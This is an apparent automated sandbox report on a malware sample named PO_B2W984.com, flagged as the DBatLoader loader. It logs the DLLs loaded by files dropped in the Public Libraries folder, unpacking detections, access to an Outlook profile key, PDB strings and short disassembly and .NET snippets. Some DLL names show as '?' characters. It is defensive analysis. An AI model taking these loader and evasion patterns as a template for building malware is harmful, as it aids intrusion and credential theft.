Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: apphelp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: version.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: edgegdi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: url.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieframe.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: iertutil.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: netapi32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winhttp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: wkscli.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: netutils.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: smartscreenps.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winmm.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: wininet.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sspicli.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mswsock.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winnsi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??????????.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ????.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???e???????????.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???e???????????.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ?.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??l.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: tquery.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: cryptdll.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: endpointdlp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: advapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: spp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vssapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: vsstrace.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppwmi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: slc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppcext.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winscard.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: devobj.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: edgegdi.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: mscoree.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: version.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: gpapi.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: textshaping.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: textinputframework.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: coreuicomponents.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: coremessaging.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: ntmarta.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wintypes.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wintypes.dll
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wintypes.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: version.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: edgegdi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: url.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieframe.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: iertutil.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: netapi32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winhttp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: wkscli.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: netutils.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: smartscreenps.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winmm.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: wininet.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\PO_B2W984.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: apihost.exe.lnk.5.dr

LNK file: ..\..\..\..\..\ACCApi\apihost.exe

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Automated click: OK
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: PO_B2W984.com

Static file information: File size 2145792 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb*Q source: rpkhzpuO.pif, 00000013.00000003.23152181055.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23151187278.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23186060889.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23153094806.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbS source: rpkhzpuO.pif, 0000000F.00000003.23071203235.000000002B780000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000003.23070008388.000000002B780000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000003.23068650639.000000002B780000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: rpkhzpuO.pif, 0000000F.00000002.23109676776.000000002B721000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23186060889.000000002E85C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: rpkhzpuO.pif, 0000000F.00000003.23070008388.000000002B780000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000003.23068650639.000000002B780000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23152181055.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23151187278.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23153094806.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E7A0000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C10000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ECF0000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A20000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020C5D000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: rpkhzpuO.pif, 00000004.00000003.22965228435.000000002761C000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000002.23112425454.000000002DA40000.00000004.08000000.00040000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000003.23062543754.000000002B733000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000002.23114375641.000000002EA95000.00000004.00000800.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000F.00000002.23111776153.000000002D593000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23188607246.0000000030743000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23190771291.0000000032F70000.00000004.08000000.00040000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000003.23143070311.000000002E873000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000013.00000002.23190455309.0000000031995000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dows\symbols\dll\mscorlib.pdbS source: rpkhzpuO.pif, 0000000F.00000002.23109676776.000000002B780000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E7A0000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C10000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ECF0000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954746218.0000000021C19000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954746218.0000000021C48000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A20000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000003.23057348047.000000000082A000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000003.23057348047.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020C5D000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23136430949.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23136430949.00000000007C3000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 15.2.rpkhzpuO.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 19.2.rpkhzpuO.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 15.2.rpkhzpuO.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Unpacked PE file: 19.2.rpkhzpuO.pif.400000.0.unpack

Yara detected DBatLoader

Source: Yara match	File source: 0.2.PO_B2W984.com.24366a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_B2W984.com.2dd0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_B2W984.com.24366a8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.22895700001.000000007FCD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000001.22963397742.00000000017D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.22967000001.0000000002436000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

.NET source code contains method to dynamically call methods (often used by packers)

Source: 4.3.rpkhzpuO.pif.2761c6f8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 15.3.rpkhzpuO.pif.2b733e10.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 15.2.rpkhzpuO.pif.2ead3d90.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 15.2.rpkhzpuO.pif.304e0000.11.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: rpkhzpuO.pif.0.dr

Static PE information: 0x7BBD3E91 [Sun Oct 14 18:38:09 2035 UTC]

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DE8798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02DE8798

Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DD32FC push eax; ret	0_2_02DD3338
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DFC2FC push 02DFC367h; ret	0_2_02DFC35F
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DD635C push 02DD63B7h; ret	0_2_02DD63AF
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DD635A push 02DD63B7h; ret	0_2_02DD63AF
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DFC0AC push 02DFC125h; ret	0_2_02DFC11D
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DFC1F8 push 02DFC288h; ret	0_2_02DFC280
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DFC144 push 02DFC1ECh; ret	0_2_02DFC1E4
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE86B8 push 02DE86FAh; ret	0_2_02DE86F2
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DD6738 push 02DD677Ah; ret	0_2_02DD6772
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DD6736 push 02DD677Ah; ret	0_2_02DD6772
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DDC4EC push ecx; mov dword ptr [esp], edx	0_2_02DDC4F1
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DEE5AC push ecx; mov dword ptr [esp], edx	0_2_02DEE5B1
